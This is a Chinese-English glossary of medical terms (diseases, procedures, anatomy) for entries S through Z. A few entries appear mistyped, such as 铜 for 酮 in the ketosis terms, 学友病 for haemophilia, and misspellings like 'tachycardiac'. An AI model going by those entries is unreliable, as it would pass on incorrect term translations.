实验(室)诊断　laboratory diagnosis

食管（食道）　oesophagus, gullet, foodpipe

食管镜　oesophagoscope

食管镜检查　oesophagoscopy

食管裂孔疝　hiatal hernia

食管炎　esophagitis/oesophagitis

食物中毒　food poisoning

食欲不振（食欲缺乏，厌食(症)）　loss of appetite, anorexia

视神经网膜炎　neuroretinitis

视网膜炎　retinitis

适应不良　maladjustment

嗜眠（昏睡，嗜睡）　lethargy, somnolence

收缩（挛缩）　contraction, contracture

收缩压　systolic pressure

首次量　initial dose

手足搐搦；(肌)强直　tetany

受精卵（受孕卵）　fertilized ovum, fertilized eggs

舒张压　diastolic pressure

输精管切除术　vasectomy

输精管精囊炎　vasovesiculitis

输精管炎　deferentitis

输卵管炎；咽鼓管炎　salpingitis

输尿管炎　ureteritis

输尿管囊肿（输尿管疝）　ureterocele

输尿管石病　ureterolithiasis

输尿管石切除术　ureterolithotomy

输尿管狭窄　ureterostenosis

输血(法)（输液(法)）　transfusion

输血(法)　blood transfusion

鼠疫（瘟疫，黑死病）　plague, pestis

术前用药法　premedication

衰老（老年）　senility

栓剂　suppository

栓塞　embolism

栓子　embolus（复emboli）

水囊瘤　hygroma

水囊肿；阴囊水囊肿（阴囊积水，鞘膜积液）　hydrocele

水疱；发疱药　blister

水眼（眼积水）　hydrophthalmos

丝虫（旧名血丝虫）　filaria

丝虫病　filariasis

死后的　postmortem

四肢麻痹　quadriplegia, tetraplegia

四(胞)胎　quadruplets

松果体瘤　pinealoma

粟疹（痱子，汗疹）　miliaria, sudamen（复 sudamina）

酸过多（胃酸过多(症)）　hyperacidity, gastric hyperacidity

酸尿　aciduria

酸性反应　acid reaction

髓样癌　encephaloid cancer

损害（损伤）　lesion, damage, impairment

损失　loss

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T

 

 

胎盘　placenta

瘫痪（麻痹）　paralysis, palsy

痰；咳痰，咳出物　sputum; expectoration

碳　carbon

碳水化合物，糖类　carbohydrate

碳酸钙　calcium carbonate

糖尿　glycosuria

糖尿病　diabetes, diabetes mellitus

糖尿病性昏迷　diabetic coma

糖血症　glycemia

烫伤　scald

绦虫病　taeniasis, cestodiasis

体液　body fluid

体质　constitution

体重减轻　loss of weight

天疱疮　pemphigus

铁色痰　rusty sputum

听力丧失　loss of hearing

停滞，郁滞　stasis

铜病　ketosis

铜尿(症)　ketonuria

铜血(症)　ketonemia

痛风　gout

痛经　dysmenorrhoea

痛觉过敏　hyperalgesia

头部冲击伤　whiplash injury

头晕（头昏）　dizziness

透析（渗析）　dialysis

退化（变质，变性）；退行；分解代谢　degeneration; regression; retrogression

脱垂（脱出）　prolapse

脱发（秃）　alopecia, baldness

脱肛　prolapse of anus

脱离（分离）　detachment

脱水(作用)（失水）　dehydration

脱位　dislocation, luxation

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W

 

外科手术热　surgical fever

外阴炎　vulvitis

外阴阴道炎　vulvovaginitis

晚期流产（尤指妊娠四至六个月内的流产）　miscarriage (abortion)

腕关节　wrist joints

腕下垂　wrist drop

妄想　delusion

妄想狂（偏折狂）　paranoia

维耳姆斯氏瘤（胚胎性癌肉瘤）　Wilms’ tumour

尾骨痛　coccygodynia, coccydynia, coccyalgia

萎黄病（绿色贫血，萎黄病贫血）　chlorosis

萎缩　atrophy

卫生学家　hygienist

胃肠炎　gastroenteritis

胃痉挛　gastrospasm

胃(窥)镜　gastroscope

胃镜检查　gastroscopy

胃溃疡　gastric ulcer

胃扩张　gastrectasia

胃粘膜炎　endogastritis

胃切除术　gastrectomy

胃神经机能病　gastroneurosis

胃痛　gastralgia, stomach-ache

胃下垂　gastroptosis

胃炎　gastritis

胃液　gastric juice

胃造口术　gastrostomy

胃灼热（烧心）heartburn

胃灼痛（心痛）　cardialgia

魏尔氏病（钩端螺旋体性黄疸）　Weil’s disease

污染　contamination

无精（精液缺乏）　aspermia

无力（虚弱，衰弱）　asthenia

舞蹈病　chorea

物理诊断　physical diagnosis

物理治疗（理疗，物理疗法）；物理治疗学（理疗学）　physiotherapy, physiotherapeutics; physiatrics

物理治疗师（理疗(医)师，理疗学家）　physiotherapist, physiatrician, physiatrist

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X

 

吸收障碍　malabsorption

息肉　polyp

息肉病　polyposis

稀粪　loose stool

稀血症　hydremia

膝　knee

膝外翻　knock-knee

膝关节　knee joint

习惯性流产　habitual abortion

细菌；（无芽胞）杆菌　bacteria（单bacterium）

狭窄，缩窄　stenosis, stricture, constriction

下垂；上睑下垂　ptosis

下疳（初疮）　chancre

下颌关节　mandibular joint

下身轻瘫（下肢轻瘫，轻截瘫）　paraparesis

先天病　congenital disease

先天愚型综合症　Down’s Syndrome

先兆流产　threatened abortion

纤维囊性乳腺病　fibroadenosis

纤维肌瘤　fibromyoma

纤维瘤　fibroma

纤维肉瘤　fibrosarcoma

纤维神经瘤　fibroneuroma

纤维腺瘤　fibroadenoma

纤维性颤动（简明纤颤）　fibrillation

纤维样的；纤维瘤；子宫纤维肌瘤　fibroid

纤维织炎（肌风湿病）　fibrositis

纤维脂(肪)瘤　fibrolipoma

涎管炎　sialodochitis

涎石病　sialolithiasis

涎腺炎　sialadenitis

线虫；蛲虫　nematode; threadworm

线虫病　nematodiasis

X线皮炎　x-ray dermatitis

腺癌　glandular carcinoma

腺肌瘤（子宫内膜瘤）　adenomyoma

象皮病　elephantiasis

消耗（消费）；疲劳（结核）　consumption

消化不良性腹泻　lientery

消化性溃疡　peptic ulcer

消瘦；消耗　wasting, marasmus, tabes; consumption

小肠结肠炎　enterocolitis

歇斯底里性痉挛（癔病性痉挛）　hysterical spasm

斜颈（捩颈）　wryneck, torticollis

斜视（斜眼）　squint, strabismus

泻药　purgative, cathartic

心包炎　pericarditis

心电描记术　electrocardiograph

心电图　electrocardiogram (ECG / EKG)

心动过速（心搏过速）　tachycardiac

心动徐缓（心搏徐缓）　bradycardia

心律失常（心律不齐，无节律）　arrhythmia

心肌病　myocardosis

心肌炎　myocarditis

心理学　psychology

心内膜炎　endocarditis

心(脏)炎　carditis

锌　zinc

新陈代谢　metabolism

新生物；(肿)瘤　neoplasm; tumour

兴奋（刺激(作用)）　stimulation

兴奋药　stimulant

猩红热　scarlet fever

性病　venereal disease

胸膜痛；肋肌痛（阵发性肋间肌痛）　pleuralgia; pleurodynia

胸膜炎　pleurisy

胸腔镜　thoracoscope

胸腔镜检查　thoracoscopy

胸腺瘤　thymoma

胸腺炎　thymitis

雄激素(类)　androgen

休克　shock

须疮　sycosis

虚弱（无力，衰弱）　debility, weakness, asthenia

癣　ringworm, tinea

眩晕　vertigo

学友病　haemophilia

血卟啉症（血紫质症）　porphyria, porphirism

血胆固醇过多（血胆甾醇过多）　hypercholesterolemia

血胆红素过多（高胆红素血(症)）　hyperbilirubinemia

血蛋白过多（高蛋白血(症)）　hyperproteinemia

血蛋白过少（低蛋白血(症)）　hypoproteinemia

血粪　bloody stool

血钙过少（低钙血(症)）　hypocalcemia 

血管痉挛　vasospasm

血管瘤　haemangioma

血管球瘤　glomangioma

血管肉瘤　angiosarcoma

血管纤维瘤　angiofibroma

血红蛋白尿　haemoglobinuria

血钾过多（高钾血(症)）　hyperkalemia

血钾过少（低钾血(症)）　hypokalemia

血钠过多（高钠血(症)）　hypernatremia

血钠过少（低钠血(症)）　hyponatremia

血囊肿　haematocyst

血囊肿（积血）　haematocele

血内尿酸过多（高尿酸血(症)）　hyperuricemia

血内碳酸过多（高碳酸血(症)）　hypercapnia

血尿　haematuria

血清　serum

血栓(性)静脉炎　thrombophlebitis

血栓形成　thrombosis

血栓(性)血管炎　thromboangiitis

血痰　bloody sputum

血糖过多(症)（高血糖）　hyperglycemia

血糖过少（低血糖）　hypoglycemia

血小板机能不全　thrombocytasthenia

血小板减少(症)　thrombocytopenia

血小板增多(症)　 thrombocythemia, thrombocytosis

血压　blood pressure (BP)

血氧过少（低氧血(症)）　hypoxemia

血脂蛋白过少（低脂蛋白血(症)）　hypolipoproteinemia

血脂过多（高脂血(症)）　hyperlipemia

血肿　haematoma

荨麻疹　urticaria, hives

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压(力)　pressure

牙槽炎（牙槽脓溢）　dentoalveolitis, alveolitis

牙关紧闭；破伤风　lockjaw, trismus

牙龈　gum         

牙周炎　periodontitis

哑症；缄默症　mutism

雅司病　yaws (pian, framboesia)

亚–斯二斯氏综合症（急性心原性脑缺血综合症）　Adams-Stokes syndrome

咽鼓管炎　syringitis

咽喉痛　sore-throat

咽喉炎　laryngopharyngitis

咽下（摄食）　ingestion

咽下困难　dysphagia

咽炎　pharyngitis

阉病（无睾症，去睾症）　eunuchism

言语错乱（错语）　paraphasia

言语困难　dysphasia

炎症　inflammation

严重急性呼吸系统综合症（非典型肺炎）　Severe Acute Respiratory Syndrome (SARS)

眼干燥（干眼病）　xerophthalmia

眼肌麻痹　ophthalmoplegia

眼炎　ophthalmia

厌食（食欲缺乏，食欲不振）　anorexia, loss of appetite

羊(膜)水　amniotic fluid

羊水过少　oligohydramnios, oligoamnios, hypamnios, hypamnion

阳性反应　positive reaction

阳痿　impotence (erectile dysfunction)

氧过少（缺氧，氧不足，低氧(症)）　hypoxia

氧化锌　zinc oxide

氧化锌明胶（小腿溃疡糊剂）　zinc gelatin

痒（痒病）；疥疮　itch

腰痛　lumbago

药剂学；药物制剂　pharmaceutics

药(剂)师（调剂员）　pharmacist

药理学　pharmacology

药理学家　pharmacologist

夜间磨牙（磨牙症）　bruxism

夜盲(症)（昼视）　nyctalopia

夜尿(症)　nocturia, nycturia

液(汁)　juice

液体（液，流质）　fluid

一氧化碳　carbon monoxide

衣原体　chlamydia

胰管粘稠物阻塞症（胰纤维性囊肿病，胶稠性粘液病，胰囊性纤维变性）mucoviscidosis

胰切除术　pancreatectomy

胰(腺)炎　pancreatitis

胰液　pancreatic juice

遗传学　genetics

遗精（精溢）　emission, spermatorrhoea

遗尿　enuresis (bed wetting)

异位（错位）　ectopia, malposition

抑制药　suppressant

易感性（感受性）　susceptibility

阴道痉挛　vaginismus

阴道镜检查（阴道窥器检查）　colposcopy

阴道疝（阴道脱垂）　colpocele, vaginocele, colpoptosis

阴道炎；鞘炎　vaginitis

阴性反应　negative reaction

龈　gingiva

龈炎　gingivitis

饮食，食物　diet

饮食疗法　dietotherapy

饮食学　dietetics

营养（营养品）　nourishment, nutriment, nutrition

营养不良；营养障碍　malnutrition, malnourishment；dystrophy, dystrophia

营养缺乏病　deficiency disease

营养师（饮食学家）　dietitian

营养学　nutriology

营养学家（营养(医)师）　nutritionist

应激性，兴奋性　irritability

应激性肠综合症　Irritable Bowel Syndrome (IBS)

硬变（肝硬变）　cirrhosis

硬化　sclerosis

硬脑(脊)膜炎　pachymeningitis

硬皮病　scleroderma

痈　carbuncle

忧郁(症)　depression, melancholia

幽门肌切除术　pylorotomy

幽门痉挛　pylorospasm

幽门切除术　pylorectomy

幽门狭窄　pyloristenosis, pyloric stenosis

尤因(氏)瘤（内皮细胞性骨髓瘤）　Ewing’s tumour

疣，肉赘　wart

瘀斑　ecchymosis

鱼鳞癣（干皮病）　ichthyosis

预后　prognosis

远视　hyperopia

月经（行经）　menstruation, menses, monthly sickness

月经初期　menarche

月经过多　menorrhagia, hypermenorrhoea

月经过频　epimenorrhoea

月经过少　oligomenorrhoea, hypomenorrhoea

孕妇晨吐（孕妇恶心）　morning sickness

孕激素(类)　progestin

孕酮，黄体酮　progesterone

晕车(病)　car sickness

晕动(病)［运动病（晕车，晕船）］　motion sickness

晕厥　syncope

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再生　regeneration

早老　presenility

早熟的；早产儿　premature

早泄（射精过早）　prospermia

躁狂（狂）　mania

增生（增值）　proliferation, hyperplasia

谵妄（妄想）　delirium

掌指关节　metacarpohalangeal joints

真菌（霉菌）　fungus（复fungi）

真菌病（霉菌病）　mycosis

诊断　diagnosis

疹（发疹）；长出（萌出）　eruption

阵发性痉挛（阵挛）　clonic spasm

震颤　tremor

镇静药　sedative

征（体征）　sign

支气管痉挛　bronchial spasm, bronchospasm

支气管炎　bronchitis

支气管周炎　peribronchitis

汁（液）　juice

脂蛋白　lipoprotein

脂肪过多症；脂瘤病　lipomatosis

脂肪痢　steatorrhoea

脂肪尿　lipuria

脂(肪)瘤　lipoma

脂膜炎　panniculitis

脂血(症)　lipemia

直肠镜（直肠窥器）　proctoscope, rectal speculum

直肠切除术　proctectomy

直肠脱垂　prolapse of rectum

直肠炎　proctitis

职业病　occupational disease

跖趾关节　metatarsophalangeal joints

指（趾）关节　phalangeal joints

指头脓炎（疽疽，瘭疽）　felon, whitlow

致癌物(质)　carcinogen

致死量　lethal dose

窒息　suffocation

痔　haemorrhoid

痔切除术　haemorrhoidectomy

中性白细胞减少(症)　neutropenia

中毒　toxication, toxicosis

中毒量　toxic dose

中毒性皮炎　toxicodermatitis

中风（卒中）　apoplexy

中暑（热射病）　heat stroke

中性反应　neutral reaction

肿块　lump

肿瘤　tumour

肿瘤学　oncology

肿胀（肿大）　swelling, tumefaction

肘关节　elbow joint

潴留（停滞）；保留，保持　retention

主动脉口狭窄，主动脉瓣狭窄　aortic stenosis

主动脉炎　aortitis

专卖药（成药）　proprietary

转移（迁徙）　metastasis（复 metastases）, transfer

转移性瘤　metastatic tumour

椎骨横突切除术　transversectomy

椎关节强硬　spondylosis

锥虫　trypanosome

锥虫病　trypanosomiasis

灼痛　causalgia

子宫癌　uterine cancer

子宫出血（血崩）　metrorrhagia

子宫肌层　myometrium

子宫肌瘤　hysteromyoma

子宫肌(层)炎　myometritis

子宫镜检查　hysteroscopy

子宫颈内膜炎　endocervicitis

子宫内膜炎　endometritis

子宫内膜异位　endometriosis, adenomyosis

子宫旁(组织)炎　parametritis

子宫切除术　hysterectomy

子宫痛　hysteralgia

子宫脱垂（子宫下垂）　prolapse of uterus, metroptosis, hysteroptosis

子痫前期（旧名先兆子痫）　preeclampsia

紫癜　purpura

眦炎　canthitis

综合症（综合症状）　syndrome, symptom complex

足量　full dose

阻塞性黄疸　obstructive jaundice

阻滞（迟缓）　retardation

组(织)胺　histamine

组织学　histology

组织液　tissue fluid

坐骨神经痛　sciatica, sciatic neuralgia

张力障碍　dystonia

障碍（失调，紊乱，疾病）　disorder

自体免疫病　auto-immune disease

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